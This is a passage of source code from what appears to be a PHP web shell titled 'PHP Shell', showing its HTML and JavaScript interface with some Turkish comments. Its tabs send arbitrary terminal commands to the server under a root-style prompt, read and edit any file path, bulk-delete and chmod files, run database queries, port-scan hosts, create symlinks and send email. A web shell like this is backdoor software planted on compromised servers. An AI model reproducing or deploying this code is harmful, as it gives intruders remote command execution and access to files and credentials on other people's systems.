                <label>LOG FILE:</label>
                <input type="text" id="log-file" placeholder="/var/log/apache2/error.log" required>
            </div>
            <div style="display: flex; gap: 10px; margin-bottom: 15px;">
                <div class="form-group" style="flex: 1;">
                    <label>LINES:</label>
                    <input type="number" id="log-lines" value="100" min="1" max="1000">
                </div>
                <div class="form-group" style="flex: 1;">
                    <label>FILTER:</label>
                    <input type="text" id="log-filter" placeholder="error, warning, etc.">
                </div>
            </div>
            <button onclick="readLog()" class="btn btn-success">READ LOG</button>
            <button onclick="autoRefreshLog()" class="btn btn-primary" id="auto-refresh-btn">AUTO REFRESH OFF</button>
            <div id="log-content" style="margin-top: 15px; padding: 10px; background: #000; border: 1px solid #333; font-family: monospace; font-size: 12px; white-space: pre-wrap; max-height: 500px; overflow-y: auto;"></div>
        </div>
        
        <!-- Multi-File Operations Tab -->
        <div id="multifile" class="tab-content">
            <h3 style="color: #00ff00; margin-bottom: 15px;">MULTI-FILE OPERATIONS</h3>
            <div class="form-group">
                <label>SELECTED FILES (one per line):</label>
                <textarea id="multi-files" rows="5" placeholder="/path/to/file1&#10;/path/to/file2"></textarea>
            </div>
            <div class="form-group">
                <label>ACTION:</label>
                <select id="multi-action">
                    <option value="delete">Delete</option>
                    <option value="chmod">Change Permissions</option>
                    <option value="copy">Copy</option>
                    <option value="move">Move</option>
                </select>
            </div>
            <div class="form-group" id="multi-chmod-group" style="display: none;">
                <label>PERMISSIONS (Octal):</label>
                <input type="text" id="multi-perms" value="755" pattern="[0-7]{3,4}">
            </div>
            <div class="form-group" id="multi-target-group" style="display: none;">
                <label>TARGET DIRECTORY:</label>
                <input type="text" id="multi-target" value="<?php echo htmlspecialchars($currentDir); ?>">
            </div>
            <button onclick="executeMultiAction()" class="btn btn-success">EXECUTE</button>
            <div id="multi-result" style="margin-top: 15px;"></div>
        </div>
        
        <!-- File Comparison Tab -->
        <div id="compare" class="tab-content">
            <h3 style="color: #00ff00; margin-bottom: 15px;">FILE COMPARISON</h3>
            <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 20px;">
                <div class="form-group">
                    <label>FILE 1:</label>
                    <input type="text" id="compare-file1" placeholder="/path/to/file1" required>
                </div>
                <div class="form-group">
                    <label>FILE 2:</label>
                    <input type="text" id="compare-file2" placeholder="/path/to/file2" required>
                </div>
            </div>
            <button onclick="compareFiles()" class="btn btn-success">COMPARE</button>
            <div id="compare-result" style="margin-top: 15px;"></div>
        </div>
        
        <!-- PHP Info Tab -->
        <div id="phpinfo" class="tab-content">
            <h3 style="color: #00ff00; margin-bottom: 15px;">PHP INFO</h3>
            <iframe src="?phpinfo=1" width="100%" height="800px" style="border: 1px solid #00ff00; background: #fff;"></iframe>
        </div>
        
        <!-- Permissions Calculator Tab -->
        <div id="permscalc" class="tab-content">
            <h3 style="color: #00ff00; margin-bottom: 15px;">PERMISSIONS CALCULATOR</h3>
            <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 20px;">
                <div>
                    <div class="form-group">
                        <label>INPUT TYPE:</label>
                        <select id="perms-type">
                            <option value="octal">Octal (755)</option>
                            <option value="symbolic">Symbolic (rwxr-xr-x)</option>
                        </select>
                    </div>
                    <div class="form-group">
                        <label>INPUT:</label>
                        <input type="text" id="perms-input" placeholder="755 or rwxr-xr-x" required>
                    </div>
                    <button onclick="calculatePerms()" class="btn btn-success">CALCULATE</button>
                </div>
                <div>
                    <div class="form-group">
                        <label>RESULT:</label>
                        <div id="perms-result" style="padding: 15px; background: #000; border: 1px solid #333; min-height: 100px; font-family: monospace; font-size: 14px;"></div>
                    </div>
                </div>
            </div>
        </div>
        
        <!-- FTP Manager Tab -->
        <div id="ftp" class="tab-content">
            <h3 style="color: #00ff00; margin-bottom: 15px;">FTP MANAGER</h3>
            <div id="ftp-connect-section">
                <h4 style="color: #00ff00; margin-bottom: 10px;">CONNECT</h4>
                <div class="form-group">
                    <label>HOST:</label>
                    <input type="text" id="ftp-host" placeholder="ftp.example.com" required>
                </div>
                <div class="form-group">
                    <label>PORT:</label>
                    <input type="number" id="ftp-port" value="21" required>
                </div>
                <div class="form-group">
                    <label>USER:</label>
                    <input type="text" id="ftp-user" required>
                </div>
                <div class="form-group">
                    <label>PASSWORD:</label>
                    <input type="password" id="ftp-pass" required>
                </div>
                <button onclick="connectFTP()" class="btn btn-success">CONNECT</button>
            </div>
            <div id="ftp-workspace" style="display: none; margin-top: 20px;">
                <button onclick="disconnectFTP()" class="btn btn-danger">DISCONNECT</button>
                <div class="form-group" style="margin-top: 15px;">
                    <label>PATH:</label>
                    <input type="text" id="ftp-path" value="/">
                </div>
                <button onclick="listFTP()" class="btn btn-primary">LIST FILES</button>
                <div id="ftp-list" style="margin-top: 15px;"></div>
            </div>
        </div>
        
        <!-- Security Scanner Tab -->
        <div id="security" class="tab-content">
            <h3 style="color: #00ff00; margin-bottom: 15px;">SECURITY SCANNER</h3>
            <div class="form-group">
                <label>SCAN DIRECTORY:</label>
                <input type="text" id="scan-dir" value="<?php echo htmlspecialchars($currentDir); ?>" required>
            </div>
            <div class="form-group">
                <label>SCAN TYPE:</label>
                <select id="scan-type">
                    <option value="all">All</option>
                    <option value="permissions">Permissions Only</option>
                    <option value="suspicious">Suspicious Files Only</option>
                </select>
            </div>
            <button onclick="securityScan()" class="btn btn-success">SCAN</button>
            <div id="security-result" style="margin-top: 15px;"></div>
        </div>
        
        <!-- Symbolic Link Manager Tab -->
        <div id="symlink" class="tab-content">
            <h3 style="color: #00ff00; margin-bottom: 15px;">SYMBOLIC LINK MANAGER</h3>
            <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 20px;">
                <div>
                    <h4 style="color: #00ff00; font-size: 12px; margin-bottom: 10px;">CREATE SYMLINK</h4>
                    <div class="form-group">
                        <label>TARGET:</label>
                        <input type="text" id="symlink-target" placeholder="/path/to/target" required>
                    </div>
                    <div class="form-group">
                        <label>LINK NAME:</label>
                        <input type="text" id="symlink-name" placeholder="link_name" required>
                    </div>
                    <button onclick="createSymlink()" class="btn btn-success">CREATE</button>
                </div>
                <div>
                    <h4 style="color: #00ff00; font-size: 12px; margin-bottom: 10px;">LIST SYMLINKS</h4>
                    <div class="form-group">
                        <label>DIRECTORY:</label>
                        <input type="text" id="symlink-dir" value="<?php echo htmlspecialchars($currentDir); ?>" required>
                    </div>
                    <button onclick="listSymlinks()" class="btn btn-primary">LIST</button>
                    <div id="symlink-list" style="margin-top: 15px; max-height: 400px; overflow-y: auto;"></div>
                </div>
            </div>
        </div>
        
        <!-- CSV Viewer/Editor Tab -->
        <div id="csv" class="tab-content">
            <h3 style="color: #00ff00; margin-bottom: 15px;">CSV VIEWER / EDITOR</h3>
            <div class="form-group">
                <label>CSV FILE:</label>
                <input type="text" id="csv-file" value="" placeholder="/path/to/file.csv" required>
                <button onclick="loadCSV()" class="btn btn-primary">LOAD</button>
            </div>
            <div id="csv-result" style="margin-top: 15px;">
                <div style="color: #666;">Load a CSV file to view/edit</div>
            </div>
        </div>
        
        <!-- Error Log Analyzer Tab -->
        <div id="errorlog" class="tab-content">
            <h3 style="color: #00ff00; margin-bottom: 15px;">ERROR LOG ANALYZER</h3>
            <div class="form-group">
                <label>LOG FILE:</label>
                <input type="text" id="errorlog-file" value="/var/log/apache2/error.log" placeholder="/path/to/error.log" required>
            </div>
            <div class="form-group">
                <label>FILTER:</label>
                <select id="errorlog-filter">
                    <option value="all">All</option>
                    <option value="error">Errors Only</option>
                    <option value="warning">Warnings Only</option>
                    <option value="notice">Notices Only</option>
                </select>
            </div>
            <button onclick="analyzeErrorLog()" class="btn btn-success">ANALYZE</button>
            <div id="errorlog-result" style="margin-top: 15px;"></div>
        </div>
        
        <!-- Advanced Code Editor Tab -->
        <div id="codeeditor" class="tab-content">
            <h3 style="color: #00ff00; margin-bottom: 15px;">ADVANCED CODE EDITOR</h3>
            <div class="form-group">
                <label>FILE:</label>
                <input type="text" id="codeeditor-file" value="" placeholder="/path/to/file" required>
                <button onclick="loadCodeEditor()" class="btn btn-primary">LOAD</button>
            </div>
            <div class="form-group">
                <label>LANGUAGE:</label>
                <select id="codeeditor-lang">
                    <option value="php">PHP</option>
                    <option value="javascript">JavaScript</option>
                    <option value="html">HTML</option>
                    <option value="css">CSS</option>
                    <option value="python">Python</option>
                    <option value="sql">SQL</option>
                    <option value="json">JSON</option>
                    <option value="xml">XML</option>
                    <option value="bash">Bash</option>
                </select>
            </div>
            <div style="margin-top: 15px;">
                <textarea id="codeeditor-content" style="width: 100%; min-height: 500px; background: #000; color: #00ff00; border: 1px solid #333; padding: 10px; font-family: 'Courier New', monospace; font-size: 13px;"></textarea>
            </div>
            <div style="margin-top: 10px;">
                <button onclick="saveCodeEditor()" class="btn btn-success">SAVE</button>
                <button onclick="formatCode()" class="btn btn-primary">FORMAT</button>
                <button onclick="findReplace()" class="btn btn-warning">FIND/REPLACE</button>
            </div>
        </div>
        
        <!-- Email Tester Tab -->
        <div id="email" class="tab-content">
            <h3 style="color: #00ff00; margin-bottom: 15px;">EMAIL TESTER</h3>
            <div class="form-group">
                <label>TO:</label>
                <input type="email" id="email-to" placeholder="recipient@example.com" required>
            </div>
            <div class="form-group">
                <label>FROM:</label>
                <input type="email" id="email-from" value="test@localhost" placeholder="sender@example.com">
            </div>
            <div class="form-group">
                <label>SUBJECT:</label>
                <input type="text" id="email-subject" value="Test Email" placeholder="Email Subject">
            </div>
            <div class="form-group">
                <label>MESSAGE:</label>
                <textarea id="email-message" style="min-height: 200px; background: #000; color: #00ff00; border: 1px solid #333; padding: 10px; font-family: monospace;">Test message from PHP Shell</textarea>
            </div>
            <button onclick="sendTestEmail()" class="btn btn-success">SEND EMAIL</button>
            <div id="email-result" style="margin-top: 15px;"></div>
        </div>
        
        <!-- Edit File Modal -->
        <div id="editModal" class="modal">
            <div class="modal-content" style="max-width: 90%; width: 1200px; max-height: 95vh;">
                <div class="modal-header">
                    <h2 id="edit-modal-title">EDIT FILE</h2>
                    <button class="close-btn" onclick="closeModal('editModal')">X</button>
                </div>
                <form method="POST" id="edit-form">
                    <input type="hidden" name="file_path" id="edit-file-path">
                    <div class="form-group">
                        <textarea name="content" id="edit-content" class="code-editor" style="min-height: 500px; font-family: 'Courier New', monospace; font-size: 13px;"></textarea>
                    </div>
                    <div style="display: flex; gap: 10px; margin-top: 15px;">
                        <button type="submit" name="save_content" class="btn btn-success">💾 SAVE</button>
                        <button type="button" onclick="closeModal('editModal')" class="btn btn-danger">❌ CANCEL</button>
                    </div>
                </form>
            </div>
        </div>
        
        <!-- Download Handler -->
        <?php
        if (isset($_GET['download'])) {
            $file = $currentDir . '/' . basename($_GET['download']);
            if (is_file($file)) {
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; filename="' . basename($file) . '"');
                header('Content-Length: ' . filesize($file));
                readfile($file);
                exit;
            }
        }
        ?>
    </div>
    
    <!-- Create File Modal -->
    <div id="createModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h2>CREATE FILE</h2>
                <button class="close-btn" onclick="closeModal('createModal')">X</button>
            </div>
            <form method="POST">
                <input type="hidden" name="type" value="file">
                <div class="form-group">
                    <label>FILENAME:</label>
                    <input type="text" name="name" required>
                </div>
                <button type="submit" name="create" class="btn btn-success">CREATE</button>
            </form>
        </div>
    </div>
    
    <!-- Create Directory Modal -->
    <div id="createDirModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h2>CREATE DIR</h2>
                <button class="close-btn" onclick="closeModal('createDirModal')">X</button>
            </div>
            <form method="POST">
                <input type="hidden" name="type" value="dir">
                <div class="form-group">
                    <label>DIRNAME:</label>
                    <input type="text" name="name" required>
                </div>
                <button type="submit" name="create" class="btn btn-success">CREATE</button>
            </form>
        </div>
    </div>
    
    <!-- Rename Modal -->
    <div id="renameModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h2>RENAME</h2>
                <button class="close-btn" onclick="closeModal('renameModal')">X</button>
            </div>
            <form method="POST">
                <input type="hidden" name="old_name" id="rename_old">
                <div class="form-group">
                    <label>NEW NAME:</label>
                    <input type="text" name="new_name" id="rename_new" required>
                </div>
                <button type="submit" name="rename" class="btn btn-success">SAVE</button>
            </form>
        </div>
    </div>
    
    <!-- Chmod Modal -->
    <div id="chmodModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h2>CHMOD</h2>
                <button class="close-btn" onclick="closeModal('chmodModal')">X</button>
            </div>
            <form method="POST">
                <input type="hidden" name="file" id="chmod_file">
                <div class="form-group">
                    <label>PERMS (Octal, e.g: 755):</label>
                    <input type="text" name="perms" id="chmod_perms" pattern="[0-7]{3,4}" required>
                </div>
                <button type="submit" name="chmod" class="btn btn-success">CHANGE</button>
            </form>
        </div>
    </div>
    
    <script>
        function showTab(tabName) {
            document.querySelectorAll('.tab').forEach(tab => tab.classList.remove('active'));
            document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active'));
            event.target.classList.add('active');
            document.getElementById(tabName).classList.add('active');
            
            // Terminal sekmesine geçildiğinde input'a focus
            if (tabName === 'terminal') {
                setTimeout(() => {
                    document.getElementById('terminal-cmd').focus();
                }, 100);
            }
            
            // System Info sekmesine geçildiğinde bilgileri yükle
            if (tabName === 'systeminfo') {
                loadSystemInfo();
            }
        }
        
        function showModal(modalId) {
            document.getElementById(modalId).classList.add('active');
        }
        
        function closeModal(modalId) {
            document.getElementById(modalId).classList.remove('active');
        }
        
        function openEditModal(filePath, fileName) {
            document.getElementById('edit-modal-title').textContent = 'EDIT: ' + fileName;
            document.getElementById('edit-file-path').value = filePath;
            document.getElementById('edit-content').value = 'Loading...';
            showModal('editModal');
            
            // AJAX ile dosya içeriğini yükle
            const formData = new FormData();
            formData.append('get_file_content', '1');
            formData.append('file_path', filePath);
            
            fetch('', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                if (data.success) {
                    document.getElementById('edit-content').value = data.content;
                } else {
                    document.getElementById('edit-content').value = 'Error: ' + (data.error || 'Could not load file');
                }
            })
            .catch(error => {
                document.getElementById('edit-content').value = 'Error: ' + error;
            });
        }
        
        function renameFile(oldName) {
            document.getElementById('rename_old').value = oldName;
            document.getElementById('rename_new').value = oldName;
            showModal('renameModal');
        }
        
        function chmodFile(fileName, currentPerms) {
            document.getElementById('chmod_file').value = fileName;
            document.getElementById('chmod_perms').value = currentPerms;
            showModal('chmodModal');
        }
        
        // Terminal komut çalıştırma (AJAX) - Command History ile
        let commandHistoryIndex = -1;
        let commandHistoryList = [];
        
        function executeTerminalCommand() {
            const cmdInput = document.getElementById('terminal-cmd');
            const cmd = cmdInput.value.trim();
            
            if (!cmd) return;
            
            // Save command to history
            const formData = new FormData();
            formData.append('save_command', '1');
            formData.append('cmd', cmd);
            fetch('', { method: 'POST', body: formData });
            
            const terminalOutput = document.getElementById('terminal-output');
            const prompt = document.createElement('div');
            prompt.className = 'terminal-prompt';
            prompt.textContent = '[root@shell ~]$ ' + cmd;
            terminalOutput.appendChild(prompt);
            
            cmdInput.value = '';
            commandHistoryIndex = -1;
            
            // AJAX isteği
            const formData2 = new FormData();
            formData2.append('ajax_cmd', '1');
            formData2.append('cmd', cmd);
            
            fetch('', {
                method: 'POST',
                body: formData2
            })
            .then(response => response.json())
            .then(data => {
                const output = document.createElement('div');
                output.className = 'terminal-output-line';
                output.textContent = data.output || '(çıktı yok)';
                terminalOutput.appendChild(output);
                terminalOutput.scrollTop = terminalOutput.scrollHeight;
                loadCommandHistory();
            })
            .catch(error => {
                const errorDiv = document.createElement('div');
                errorDiv.className = 'terminal-output-line';
                errorDiv.style.color = '#ff0000';
                errorDiv.textContent = 'Hata: ' + error;
                terminalOutput.appendChild(errorDiv);
                terminalOutput.scrollTop = terminalOutput.scrollHeight;
            });
        }
        
        function loadCommandHistory() {
            fetch('', {
                method: 'POST',
                headers: {'Content-Type': 'application/x-www-form-urlencoded'},
                body: 'get_command_history=1'
            })
            .then(response => response.json())
            .then(data => {
                commandHistoryList = data.history || [];
                const historyDiv = document.getElementById('command-history');
                if (commandHistoryList.length > 0) {
                    let html = '';
                    commandHistoryList.forEach((cmd, index) => {
                        html += '<div style="padding: 5px; border-bottom: 1px solid #333; cursor: pointer; color: #00ff00;" onclick="useCommand(' + index + ')">' + 
                            (index + 1) + '. ' + cmd.substring(0, 40) + (cmd.length > 40 ? '...' : '') + '</div>';
                    });
                    historyDiv.innerHTML = html;
                } else {
                    historyDiv.innerHTML = '<div style="color: #666;">No history</div>';
                }
            });
        }
        
        function useCommand(index) {
            document.getElementById('terminal-cmd').value = commandHistoryList[index];
            document.getElementById('terminal-cmd').focus();
        }
        
        function clearCommandHistory() {
            if (confirm('Clear command history?')) {
                commandHistoryList = [];
                document.getElementById('command-history').innerHTML = '<div style="color: #666;">No history</div>';
            }
        }
        
        // Terminal'de arrow key ile history navigation
        document.addEventListener('DOMContentLoaded', function() {
            const terminalCmd = document.getElementById('terminal-cmd');
            if (terminalCmd) {
                terminalCmd.addEventListener('keydown', function(e) {
                    if (e.key === 'ArrowUp') {
                        e.preventDefault();
                        if (commandHistoryIndex < commandHistoryList.length - 1) {
                            commandHistoryIndex++;
                            this.value = commandHistoryList[commandHistoryList.length - 1 - commandHistoryIndex];
                        }
                    } else if (e.key === 'ArrowDown') {
                        e.preventDefault();
                        if (commandHistoryIndex > 0) {
                            commandHistoryIndex--;
                            this.value = commandHistoryList[commandHistoryList.length - 1 - commandHistoryIndex];
                        } else if (commandHistoryIndex === 0) {
                            commandHistoryIndex = -1;
                            this.value = '';
                        }
                    }
                });
            }
        });
        
        // Enter tuşu ile terminal komutu çalıştır
        document.addEventListener('DOMContentLoaded', function() {
            const terminalCmd = document.getElementById('terminal-cmd');
            if (terminalCmd) {
                terminalCmd.addEventListener('keypress', function(e) {
                    if (e.key === 'Enter') {
                        executeTerminalCommand();
                    }
                });
            }
        });
        
        // Modal dışına tıklanınca kapat
        window.onclick = function(event) {
            if (event.target.classList.contains('modal')) {
                event.target.classList.remove('active');
            }
        }
        
        // System Info
        function loadSystemInfo() {
            const formData = new FormData();
            formData.append('ajax_system_info', '1');
            
            fetch('', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                // OS Info
                document.getElementById('os-info').innerHTML = `
                    <span><strong>OS:</strong> ${data.os || 'Unknown'}</span>
                    <span><strong>User:</strong> ${data.user || 'Unknown'}</span>
                `;
                
                // PHP Info
                document.getElementById('php-info').innerHTML = `
                    <span><strong>Version:</strong> ${data.php_version || 'Unknown'}</span>
                    <span><strong>Memory Limit:</strong> ${data.memory_limit || 'Unknown'}</span>
                    <span><strong>Max Execution:</strong> ${data.max_execution_time || 'Unknown'}s</span>
                    <span><strong>Upload Max:</strong> ${data.upload_max_filesize || 'Unknown'}</span>
                `;
                
                // Memory Info
                const memUsage = data.memory_usage ? formatBytes(data.memory_usage) : 'N/A';
                const memPeak = data.memory_peak ? formatBytes(data.memory_peak) : 'N/A';
                document.getElementById('memory-info').innerHTML = `
                    <span><strong>Usage:</strong> ${memUsage}</span>
                    <span><strong>Peak:</strong> ${memPeak}</span>
                `;
                
                // Disk Info
                const total = data.disk_total ? formatBytes(data.disk_total) : 'N/A';
                const free = data.disk_free ? formatBytes(data.disk_free) : 'N/A';
                const used = data.disk_used ? formatBytes(data.disk_used) : 'N/A';
                const usedPercent = data.disk_total ? Math.round((data.disk_used / data.disk_total) * 100) : 0;
                
                document.getElementById('disk-info').innerHTML = `
                    <span><strong>Total:</strong> ${total}</span>
                    <span><strong>Used:</strong> ${used}</span>
                    <span><strong>Free:</strong> ${free}</span>
                `;
                
                const progressBar = document.getElementById('disk-progress');
                progressBar.style.width = usedPercent + '%';
                progressBar.textContent = usedPercent + '%';
                
                // Server Info
                document.getElementById('server-info').innerHTML = `
                    <span><strong>Software:</strong> ${data.server_software || 'Unknown'}</span>
                `;
                
                // CPU Info
                let cpuInfo = '';
                if (data.cpu_model) {
                    cpuInfo += `<span><strong>Model:</strong> ${data.cpu_model}</span>`;
                }
                if (data.cpu_cores) {
                    cpuInfo += `<span><strong>Cores:</strong> ${data.cpu_cores}</span>`;
                }
                if (data.load_avg) {
                    cpuInfo += `<span><strong>Load Avg:</strong> ${data.load_avg.split(' ')[0]}</span>`;
                }
                document.getElementById('cpu-info').innerHTML = cpuInfo || '<span>N/A</span>';
            })
            .catch(error => {
                console.error('Error:', error);
            });
        }
        
        function formatBytes(bytes) {
            if (!bytes || bytes === 0) return '0 B';
            const k = 1024;
            const sizes = ['B', 'KB', 'MB', 'GB', 'TB'];
            const i = Math.floor(Math.log(bytes) / Math.log(k));
            return Math.round(bytes / Math.pow(k, i) * 100) / 100 + ' ' + sizes[i];
        }
        
        // Database Manager
        document.getElementById('db-connect-form').addEventListener('submit', function(e) {
            e.preventDefault();
            const formData = new FormData(this);
            formData.append('db_connect', '1');
            
            fetch('', {
                method: 'POST',
                body: formData
            })
            .then(response => response.text())
            .then(data => {
                if (data.includes('✅')) {
                    document.getElementById('db-connect-section').style.display = 'none';
                    document.getElementById('db-workspace').style.display = 'block';
                    loadTables();
                } else {
                    alert(data);
                }
            });
        });
        
        function loadTables() {
            const formData = new FormData();
            formData.append('db_tables', '1');
            
            fetch('', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                if (data.success) {
                    const tablesDiv = document.getElementById('db-tables-list');
                    tablesDiv.innerHTML = '<strong style="color: #00ff00;">TABLES:</strong><br>';
                    data.tables.forEach(table => {
                        const span = document.createElement('span');
                        span.className = 'db-table-item';
                        span.textContent = table;
                        span.onclick = () => {
                            document.getElementById('db-query').value = 'SELECT * FROM `' + table + '` LIMIT 100;';
                        };
                        tablesDiv.appendChild(span);
                    });
                } else {
                    alert('Error: ' + data.error);
                }
            });
        }
        
        function executeQuery() {
            const query = document.getElementById('db-query').value;
            if (!query.trim()) {
                alert('Query boş!');
                return;
            }
            
            const formData = new FormData();
            formData.append('db_query', '1');
            formData.append('query', query);
            
            fetch('', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                const resultDiv = document.getElementById('db-result');
                if (data.success) {
                    if (data.rows === 0) {
                        resultDiv.innerHTML = '<div style="color: #00ff00;">Query başarılı. Etkilenen satır: 0</div>';
                    } else {
                        let html = '<div style="color: #00ff00; margin-bottom: 10px;">Rows: ' + data.rows + '</div>';
                        html += '<table class="db-result-table"><thead><tr>';
                        
                        if (data.data.length > 0) {
                            Object.keys(data.data[0]).forEach(key => {
                                html += '<th>' + key + '</th>';
                            });
                            html += '</tr></thead><tbody>';
                            
                            data.data.forEach(row => {
                                html += '<tr>';
                                Object.values(row).forEach(value => {
                                    html += '<td>' + (value === null ? '<em>NULL</em>' : htmlspecialchars(String(value))) + '</td>';
                                });
                                html += '</tr>';
                            });
                            html += '</tbody></table>';
                        }
                        
                        resultDiv.innerHTML = html;
                    }
                } else {
                    resultDiv.innerHTML = '<div style="color: #ff0000;">Error: ' + data.error + '</div>';
                }
            });
        }
        
        function disconnectDB() {
            if (confirm('Disconnect?')) {
                // Session'ı temizle
                fetch('?db_disconnect=1', {
                    method: 'GET'
                }).then(() => {
                    document.getElementById('db-connect-section').style.display = 'block';
                    document.getElementById('db-workspace').style.display = 'none';
                    document.getElementById('db-result').innerHTML = '';
                    document.getElementById('db-query').value = '';
                    document.getElementById('db-tables-list').innerHTML = '';
                });
            }
        }
        
        function htmlspecialchars(str) {
            const map = {
                '&': '&amp;',
                '<': '&lt;',
                '>': '&gt;',
                '"': '&quot;',
                "'": '&#039;'
            };
            return str.replace(/[&<>"']/g, m => map[m]);
        }
        
        // Text Tools
        function textTool(action) {
            const input = document.getElementById('text-input').value;
            if (!input.trim()) {
                alert('Input boş!');
                return;
            }
            
            const formData = new FormData();
            formData.append('text_tool', '1');
            formData.append('action', action);
            formData.append('input', input);
            
            fetch('', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                document.getElementById('text-output').value = data.output || '';
            })
            .catch(error => {
                document.getElementById('text-output').value = 'Error: ' + error;
            });
        }
        
        function copyOutput() {
            const output = document.getElementById('text-output');
            output.select();
            document.execCommand('copy');
            alert('Copied!');
        }
        
        function clearTextTools() {
            document.getElementById('text-input').value = '';
            document.getElementById('text-output').value = '';
        }
        
        // File Search
        document.getElementById('file-search-form').addEventListener('submit', function(e) {
            e.preventDefault();
            const formData = new FormData();
            formData.append('file_search', '1');
            formData.append('search_dir', document.getElementById('search-dir').value);
            formData.append('search_term', document.getElementById('search-term').value);
            formData.append('search_type', document.getElementById('search-type').value);
            formData.append('use_regex', document.getElementById('use-regex').checked ? '1' : '0');
            
            const resultsDiv = document.getElementById('search-results');
            resultsDiv.innerHTML = '<div style="color: #00ff00;">Searching...</div>';
            
            fetch('', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                if (data.results && data.results.length > 0) {
                    let html = '<div style="color: #00ff00; margin-bottom: 10px;">Found: ' + data.count + ' results</div>';
                    data.results.forEach(item => {
                        html += '<div class="search-result-item">';
                        html += '<strong>' + (item.type === 'dir' ? '[DIR]' : '[FILE]') + '</strong> ';
                        html += '<a href="?dir=' + encodeURIComponent(item.path) + '" style="color: #00ff00;">' + item.path + '</a>';
                        if (item.size > 0) {
                            html += ' <span style="color: #666;">(' + formatBytes(item.size) + ')</span>';
                        }
                        html += '</div>';
                    });
                    resultsDiv.innerHTML = html;
                } else {
                    resultsDiv.innerHTML = '<div style="color: #ff0000;">No results found</div>';
                }
            })
            .catch(error => {
                resultsDiv.innerHTML = '<div style="color: #ff0000;">Error: ' + error + '</div>';
            });
        });
        
        // Archive Manager
        function createArchive() {
            const archiveName = document.getElementById('archive-name').value;
            const files = document.getElementById('archive-files').value.split('\n').filter(f => f.trim());
            
            if (!archiveName || files.length === 0) {
                alert('Archive name and files required!');
                return;
            }
            
            const formData = new FormData();
            formData.append('archive_action', '1');
            formData.append('action', 'create');
            formData.append('archive_path', '<?php echo $currentDir; ?>/' + archiveName);
            files.forEach(file => formData.append('files[]', file.trim()));
            
            fetch('', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                alert(data.message);
                if (data.success) {
                    document.getElementById('archive-name').value = '';
                    document.getElementById('archive-files').value = '';
                }
            });
        }
        
        function extractArchive() {
            const archivePath = document.getElementById('extract-archive').value;
            const extractPath = document.getElementById('extract-path').value;
            
            if (!archivePath) {
                alert('Archive path required!');
                return;
            }
            
            const formData = new FormData();
            formData.append('archive_action', '1');
            formData.append('action', 'extract');
            formData.append('archive_path', archivePath);
            formData.append('extract_path', extractPath);
            
            fetch('', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                alert(data.message);
            });
        }
        
        function listArchive() {
            const archivePath = document.getElementById('extract-archive').value;
            
            if (!archivePath) {
                alert('Archive path required!');
                return;
            }
            
            const formData = new FormData();
            formData.append('archive_action', '1');
            formData.append('action', 'list');
            formData.append('archive_path', archivePath);
            
            fetch('', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                const listDiv = document.getElementById('archive-list');
                if (data.success && data.files) {
                    let html = '<div style="color: #00ff00; margin-bottom: 10px;">Files in archive:</div>';
                    html += '<div style="max-height: 300px; overflow-y: auto; font-size: 12px;">';
                    data.files.forEach(file => {
                        html += '<div style="padding: 5px; border-bottom: 1px solid #333;">';
                        html += file.name + ' <span style="color: #666;">(' + formatBytes(file.size) + ')</span>';
                        html += '</div>';
                    });
                    html += '</div>';
                    listDiv.innerHTML = html;
                } else {
                    listDiv.innerHTML = '<div style="color: #ff0000;">' + data.message + '</div>';
                }
            });
        }
        
        // Network Tools
        document.getElementById('network-tool').addEventListener('change', function() {
            document.getElementById('port-group').style.display = 
                (this.value === 'port_scan') ? 'block' : 'none';
        });
        
        function executeNetworkTool() {
            const tool = document.getElementById('network-tool').value;
            const target = document.getElementById('network-target').value;
            const port = document.getElementById('network-port').value;
            
            if (!target) {
                alert('Target required!');
                return;
            }
            
            const formData = new FormData();
            formData.append('network_tool', '1');
            formData.append('tool', tool);
            formData.append('target', target);
            if (port) formData.append('port', port);
            
            const resultDiv = document.getElementById('network-result');
            resultDiv.innerHTML = '<div style="color: #00ff00;">Executing...</div>';
            
            fetch('', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                resultDiv.innerHTML = '<div style="color: ' + (data.success ? '#00ff00' : '#ff0000') + ';">' + 
                    data.output.replace(/\n/g, '<br>') + '</div>';
            })
            .catch(error => {
                resultDiv.innerHTML = '<div style="color: #ff0000;">Error: ' + error + '</div>';
            });
        }
        
        // File Preview
        function previewFile() {
            const filePath = document.getElementById('preview-path').value;
            if (!filePath) {
                alert('File path required!');
                return;
            }
            
            const resultDiv = document.getElementById('preview-result');
            resultDiv.innerHTML = '<div style="color: #00ff00;">Loading...</div>';
            
            const ext = filePath.split('.').pop().toLowerCase();
            const mimeTypes = {
                'jpg': 'image', 'jpeg': 'image', 'png': 'image', 'gif': 'image', 'webp': 'image',
                'pdf': 'pdf',
                'php': 'code', 'js': 'code', 'html': 'code', 'css': 'code', 'txt': 'code', 'json': 'code'
            };
            
            const fileType = mimeTypes[ext] || 'text';
            
            if (fileType === 'image') {
                resultDiv.innerHTML = '<div class="preview-container"><img src="?preview=' + 
                    encodeURIComponent(filePath) + '" class="preview-image" alt="Preview"></div>';
            } else if (fileType === 'pdf') {
                resultDiv.innerHTML = '<div class="preview-container"><iframe src="?preview=' + 
                    encodeURIComponent(filePath) + '" width="100%" height="600px" style="border: 1px solid #333;"></iframe></div>';
            } else if (fileType === 'code' || fileType === 'text') {
                // AJAX ile dosya içeriğini al
                const formData = new FormData();
                formData.append('get_file_content', '1');
                formData.append('file_path', filePath);
                
